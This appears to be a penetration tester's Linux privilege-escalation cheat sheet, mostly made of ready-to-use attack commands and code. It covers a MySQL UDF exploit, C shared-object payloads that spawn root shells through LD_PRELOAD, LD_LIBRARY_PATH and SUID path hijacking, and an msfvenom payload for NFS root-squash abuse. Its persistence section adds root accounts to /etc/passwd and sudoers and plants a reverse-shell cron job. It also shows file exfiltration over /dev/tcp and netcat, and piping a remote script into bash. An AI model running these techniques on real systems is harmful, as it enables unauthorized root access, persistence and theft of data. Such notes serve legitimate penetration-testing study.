Return to Main Page
Linux PrivEsc
PrivEsc Strategy
Kernel Exploits
- searchsploit <kernel version>
- If you think an exploit should work but it is not, then look up the CVE for the exploit and google it to
search for others.
Check user id and groups
- id
- Google exploits for groups
Password attacks
- Password reuse
- Guess passwords
- Try to authenticate as other users:
Run linpeas
- Rerun as new user if a new on is accessed
- If there is trouble downloading and running the script try piping to bash: curl <url to kali
machine/linpeas.sh> | bash
- This method also avoids using the victim's disk
Look for sensitive files/information
- Locations that may contain passwords
- Recursively search directories for files that contain the word password
- Home directory
- History files
- Config files
- Log files
- Look for private SSH keys
- Check website configurations
- /etc/apache2/sites-enabled
Look for running programs
- ps aux
- Look for programs being running as root, see if exploitable
- Enumerate versions, look for vulnerable/exploitable ones
- If there is trouble enumerating versions, try googling the md5sum of the program
Network traffic
- Listen for traffic on localhost
- use tcpdump
- Might find credentials being passed over the network
mysql
- If we can log in to it, look for sensitive information
- UDF Exploit - Run commands as the user (preferably root) that is logged into mysql
- Place a UDF exploit shared object in the mysql plugins directory
use mysql;
create table foo(line blob);
insert into foo values(load_file('<udf exploit shared object>'));
select * from foo into dumpfile '<sql plugin directory>/<udf explit shared object>';
create function sys_exec returns integer soname '<udf explit shared object>';
select * from mysql.func;
select <shared object library symbol/function>('<command>')
UDF Exploit Shared Objects
- raptor_udf
- Exploit function: do_system('<command>')
- /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so
- Exploit function: sys_exec('<command>')
- /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so
- Exploit function: sys_exec('<command>')
If web page is running under the context of higher privilege user, try to create a web shell
Check network services
- Look for open ports/running services that didn't show during port scan
- netstat -tulpn
- Forward internally listening ports to attacking machine
- Check for port knocking configurations
- /etc/knockd.conf
Check for interesting programs
- PATH locations
- dpkg -l
- /var
- /opt
- /usr/local/src
- /usr/src
- Check programs for extended capabilities
- getcap <file>
- =en means root permissions. As good as sudo
Look for unmounted file systems
SUID/GUID files
- Check GTFOBins
- Analyze file to see if commands it is calling is using absolute paths
File permissions
Sudo
- Check sudo permissions
- sudo -l
- Check sudo commands against GTFOBins
- If sudo command shows () in front of the command this means we are able to execute the
command as another user
- Execute sudo command as another user: sudo -u <username> <sudo command>
- Environment Variables
- Check with sudo -l
- env_keep+=LD_PRELOAD - If this is set we can choose a shared object that is loaded before any others
while running sudo
- env_keep+=LD_LIBRARY_PATH - If this is set we can set where shared objects are searched for first.
Cron Jobs
- Check cron PATH, see if we have write access to any directories.
- Check if we can write to file that crontab is running
- If so, change file to execute malicious command
- Check if absolute paths are *not* being used
- If so, try to create a malicious executable in PATH preceding PATH directory of the executable that
is currently being used
- Check commands using wildcards *
- If so, create a file in the directory that the wildcard is being ran on. Name this file as the malicious
command line options you would like to use against this program. Check GTFOBins to determine which flags
to use.
systemd timers
- New way to do cronjob on services
- systemctl list-timers
Check for processes running in the background
Manual Enumeration
User info
Current user |
whoami
who
|
Currently logged in users |
W |
Current permissions |
id |
User list |
/etc/passwd |
Groups |
/etc/group |
Operating System & Kernel
Show host |
hostname |
Distribution type & version |
/etc/issue
/etc/*-release
/etc/lsb-release #debian
/etc/redhat-released #redhat
|
Kernel version |
/proc/version
uname -a
uname -r
uname -mrs
rpm -q kernel
dmesg | grep linux
ls /boot | grep vmlinuz-
|
Kernel modules |
lsmod |
More info on specific kernel module |
/sbin/modinfo <kernel module> |
System architecture |
arch |
Environment Variables |
/etc/profile
/etc/bashrc
|
Network
Network interfaces and addresses |
/proc/net/fib_trie |
Listening ports (HEX encoded) |
/proc/net/tcp
cat /proc/net/tcp | grep '00000000:0000 0A'
- 0A = listening
- 0100007F:15E1 = 127.0.0.1:5701
|
File System
Search for files modified between two dates |
find / -newermt YYYY-MM-DD ! -newermt YYYY-MM-DD -ls 2>/dev/null |
Show additional details about files |
stat <file> |
List files and their 32-bit last modified time |
find / -type f -printf "%T+ %pn\n"
- %T+ - Show full last modified timestamp
- %pn - Show file name
|
List extended permissions |
getcap <file> |
File transfer
Download to Linux
wget |
wget <url> -o <Output File> |
curl |
curl <url> -O <Output File> |
Base64 |
Base64 Encrypt File |
base64 <file> |
Decode Base64 and Recreate File |
base64 -d <file w/ base64 text> > file |
|
socat |
Upload |
socat TCP4-LISTEN:<port #>,fork file:<File> |
Download |
socat TCP4:<ip address>:<port #> file:<File>,create |
|
netcat |
Upload |
nc <ip address> <port #> < <Upload File> |
Download |
nc -lvnp <ip address> <port #> > <Download File> |
|
scp |
scp <user>@<ip address>:<file> <Directory to Download to> |
Upload to Linux
Base64 |
Base64 Encrypt File |
base64 <file> |
Decode Base64 and Recreate File |
base64 -d <file w/ base64 text> > file |
|
socat |
Upload |
socat TCP4-LISTEN:<port #>,fork file:<File> |
Download |
socat TCP4:<ip address>:<port #> file:<File>,create |
|
/dev/tcp |
Upload file |
cat <file> > /dev/tcp/<ip address>/<port> |
Download File |
nc -lvnp <port> > <Output File> |
|
scp |
scp <file to upload> <user>@<ip address>:<Directory to upload to> |
Shell Upgrade and Escapes
Upgrade
Enable tab and autocompletion |
Send victim shell to background with ctrl+z
Command: stty raw -echo;fg;
Bring process back with fg
|
Format shell size if formatting is bad |
Check rows # and columns # on kali box, in a pane the same size as the victim shell. |
stty -a |
Victim shell |
stty rows <#> cols <#> |
|
TTY Upgrade |
Check for TTY |
tty
sudo -i
|
Python |
python -c "import pty;pty.spawn('/bin/bash');" |
Python3 |
python3 -c "import pty;pty.spawn('/bin/bash');" |
script command |
script /dev/null -c bash |
Perl |
perl -e 'exec "/bin/sh";' |
|
Enable "clear" command |
export TERM=xterm |
Setting PATH variable |
export
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/usr/bin:/sbin:/binusr/local/sbin:/usr/local/bin:/usr/sbin:
|
Break out of rbash |
Method 1 |
ssh <username>@<ip address> -t "bash --noprofile" |
Method 2 |
ed !'/bin/bash' |
|
Break out of python shell |
import os os.system("bash"); |
Setup an SSH Shell
- An SSH shell will not always be possible. SSH is frequently, but not always, configured to not allow SSH
shells for certain users.
- Create an SSH key
- run: ssh-keygen
- When it prompts for a password just push enter
- This will generate a public and a private key
- The contents of the public key must be in a file call "authorized_keys" in a folder called .ssh in
the users home directory.
- /home/<user we have access to>/.ssh/authorized_keys
- The contents of the private key must be on our machine in a file with permissions set to 600
- The private key file can be named anything
- chmod 600 <private key file>
- Connect via ssh
- ssh <user>@<victim ip> -i <private key file>
Auto Enumeration Tools
Kernel exploits
- Kernel exploits tool
- Linux Exploit Suggester Script
PrivEsc Tools
- linpeas
- pspy
- http://pentestmonkey.net/tools/audit/unix-privesc-check
- http://labs.portcullis.co.uk/application/enum4linux/
- Linux smart enumeration
- LinEnum
- https://github.com/AlessandroZ/BeRoot
- https://github.com/linted/linuxprivchecker
- suid3num
Sudo Environment Variables
Sudo version
Environment Variables
- sudo -l to view configured environment options
- LD_PRELOAD
- If LD_PRELOAD is set it will load whatever shared object is set before anything else.
- Create malicious shared object
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
#gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
Run any sudo enabled command:
- sudo LD_PRELOAD=/tmp/preload.so <sudo command>
LD_LIBRARY_PATH
- LD_LIBRARY_PATH is an environment variable that contains the directories where shared libraries are searched
for first.
- ldd command will show the shared objects used by a program
- Create a new shared object with the same name as the one used by the program
- Set the LD_LIBRARY_PATH to its directory to get the program to execute the new shared object instead.
- Example:
- ldd /usr/bin/apache2
- Output: shared objects, choose one to replace
- Create a file to compile that will replace the original shared object
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
#gcc -o <Malicious .so> -shared -fPIC library_path.c
run command
- sudo LD_LIBRARY_PATH=<Malicious .so directory> <sudo command>
- Rooted
NFS
Show the NFS server’s export list |
showmount -e <target> |
Show NFS shares with nmap |
nmap –sV –script=nfs-showmount <target> |
Mount an NFS share |
mount -o rw,vers=2 <target>:<share> <local_directory> |
NFS share information is stored in /etc/exports
Root Squashing
- When connecting to an NFS share, if root squashing is enabled, then the owner of the files in the share will
be set to "nobody".
- On victim machine:
- Check /etc/exports to see if no_root_squash is listed. If so, root squashing is disabled.
- On attack machine:
- Confirm NFS share is available for remote mounting
- mkdir /tmp/nfs
- mount -o rw,vers=2 <target>:<share> /tmp/nfs
- sudo msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
- chmod +xs /tmp/nfs/shell.elf
- On victim machine
SUID and GUID executables
Find files with guid or suid set |
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null |
See which commands/executables a file is trying to run |
strings <program> |
Confirm which executable/command a program is trying to run |
strace -v -f -e execve <program> 2>&1 | grep executable/command
ltrace <program>
|
Check file for missing shared objects |
ld <executable> |
Update cache to include new shared objects |
ldconfig |
Check GTFOBins for flags to use in order to execute malicious commands
Binary being called is not absolute (scp vs /usr/bin/scp)
Shared object not found
- Vulnerability to shared object injection
- Find shared objects that are not found by the executable
- Create a shared object in the directory where the shared object is being searched for
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setresuid(0, 0, 0);
system("/bin/bash");
}
gcc: error trying to exec 'cc1': execvp: No such file or directory
- Check environment variables to make sure PATH has been set
- If PATH has not been set, then set it
File calls for executable without absolute path
- We can add a malicious version of the executable to our PATH.
- Create a malicious executable with the same name as the program that is being called without an absolute
path
int main() {
setuid(0);
system("/bin/bash -p");
}
#gcc -o <file> <file.c>
PATH=.:$PATH
Execute vulnerable SUID/GUID
Rooted
Calls for executable w/ absolute path and bash < 4.2-048
- function <exectuable being called> { /bin/bash -p; }
- export -f <exectuable being called>
- execute vulnerable suid/guid file
- Rooted
Persistence Methods
Add new root to /etc/passwd |
echo "root2:<hash>:0:0:root:/root:/bin/bash" >> /etc/passwd
Generate new password hash |
openssl passwd <password> |
echo "root2:S3g6q5KuTzNkU:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2
|
Add user to /etc/sudoers |
echo "<user> ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers |
SUID Bash |
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
./rootbash -p
|
Malicious Cronjob |
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/<ip address>/<port #>
0>&1' " |
Groups
Video
- The video group gives us access to screen output
- Privesc usage example: If a user has a credential showing on their screen we can look at the screen
image and view the credential.
- How to view screen output
Capture the raw image data of current screen output |
cat /dev/fb0 > /tmp/screen.raw |
Get the screen output image resolution size |
cat /sys/class/graphics/fb0/virtual_size |
- Open screen.raw using gimp. File > Open... > Select File Type: Raw image data > (check) Show
All Files Files > (click on/open) screen.raw
- Set width and height to what is shown in /sys/class/graphics/fb0/virtual_size
- Change "Image Type:" until a clear image is shown.
Malicious Python Module
If a script is being ran by root and we have write permissions to a module that the script is importing then we
can get root command execution by modifying the module being imported.
Vulnerable script(s) on victim machine
|
admin_tasks.py
|
(Removed irrelevant code)
"….then
echo 'Running backup script in the background, it might take a while…'
/opt/scripts/backup.py &….."
(Removed irrelevant code)
|
backup.py
- imports shutil.py and execute make_archive with 3 arguments
|
#!/usr/bin/python3
(Removed irrelevant code)
from shutil import make_archive
(Removed irrelevant code)
…make_archive(dst, 'gztar', src)
(Removed irrelevant code)
|
|
Create malicious module - shutil.py |
import os
def make_archive(a, b, c):
<malicious payload>
|
Malicious payloads |
Spawn root shell
import os
import pty
os.setuid(0)
pty.spawn("bash")
Execute malicious bash command
import os
os.system("<malicious bash command>");
|